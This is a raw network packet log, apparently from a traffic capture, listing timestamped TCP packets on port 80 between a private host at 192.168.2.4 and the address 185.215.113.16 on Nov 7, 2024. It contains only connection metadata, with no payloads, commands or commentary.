Nov 7, 2024 06:01:27.749030113 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.749049902 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.752918959 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.752947092 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.752958059 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.752974033 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.752998114 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753125906 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753143072 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753156900 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753166914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753175020 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753179073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753191948 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753202915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753202915 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753216982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753232002 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753236055 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753243923 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753248930 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753259897 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753277063 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753281116 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753289938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753299952 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753304958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753308058 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753328085 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753329039 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753341913 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753353119 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753357887 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753364086 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753377914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753391027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753400087 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753418922 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753429890 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753434896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753448009 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753460884 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753469944 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753473997 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753473997 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753483057 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753494024 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753506899 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753513098 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753519058 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753530025 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753550053 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753560066 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753577948 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753588915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753599882 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753617048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753627062 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753628969 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753639936 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753645897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753659010 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753670931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753681898 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753681898 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753703117 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753725052 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753742933 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753791094 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753814936 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753825903 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753838062 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753863096 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753885031 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753907919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753925085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753941059 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753952026 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753953934 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.753964901 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753983021 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.753988028 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754024029 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754036903 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754065037 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754076958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754086018 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754098892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754108906 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754112005 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754122972 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754134893 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754143000 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754147053 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754156113 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754158974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754175901 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754184008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754203081 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754206896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754215002 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754225969 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754236937 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754239082 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754239082 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754251003 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754261971 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754272938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754273891 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754286051 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754304886 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754306078 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754318953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754326105 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754329920 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754344940 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754348993 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754358053 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754359007 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754373074 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754374981 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754386902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754396915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754404068 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754410028 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754421949 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754431963 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754436016 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754450083 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754457951 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754462004 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754473925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754473925 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754487038 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754501104 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754528999 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754719019 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754760027 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754774094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754785061 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754796982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754806995 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754812002 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754834890 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754868984 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754926920 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754939079 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754951000 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754964113 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754976988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.754983902 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.754992008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755003929 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755009890 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755017042 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755036116 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755064964 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755088091 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755100012 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755110979 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755120993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755127907 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755132914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755146027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755146980 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755156994 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755168915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755179882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755182981 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755194902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755208015 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755209923 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755222082 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755225897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755239964 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755247116 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755250931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755281925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755281925 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755292892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755305052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755306005 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755326033 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755337954 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755338907 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755351067 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755362988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755364895 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755377054 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755388975 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755393982 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755400896 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755412102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755423069 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755424023 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755436897 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755446911 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755450964 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755455017 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755462885 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755476952 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755508900 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755691051 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755732059 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755742073 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755743027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755757093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755768061 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755791903 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755794048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755800009 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755808115 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755820036 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755831003 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755831957 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755845070 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.755857944 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.755884886 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903197050 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903271914 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903281927 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903295994 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903309107 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903327942 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903332949 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903342009 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903352976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903363943 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903364897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903376102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903389931 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903409958 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903415918 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903428078 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903429985 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903453112 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903475046 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903589010 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903609037 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903620958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903631926 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903633118 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903642893 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903652906 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903657913 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903670073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903676033 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903680086 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903697014 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903703928 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903707981 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903717041 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903722048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903736115 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903738976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903752089 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903762102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903764009 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903773069 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903783083 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903793097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903796911 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903808117 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903816938 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903821945 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903835058 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903861046 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903892040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903902054 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903911114 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903922081 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903939962 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.903942108 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903970003 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.903995037 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904019117 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904031038 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904041052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904057026 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904068947 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904093027 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904191017 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904202938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904211998 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904222965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904232979 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904237986 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904251099 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904263973 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904264927 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904280901 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904287100 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904294014 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904310942 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904334068 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904432058 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904443979 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904453993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904467106 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904478073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904479980 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904490948 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904525995 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904700041 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904711962 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904721975 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904732943 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904745102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904752970 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904757023 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904769897 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904781103 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904788971 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904792070 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904802084 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904803991 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904834986 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904845953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904850006 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.904850960 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904859066 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.904903889 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905005932 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905016899 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905028105 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905044079 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905055046 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905065060 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905066013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905077934 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905088902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905100107 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905102015 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905112028 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905122042 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905137062 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905150890 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905159950 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905168056 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905177116 CET	80	49891	185.215.113.16	192.168.2.4
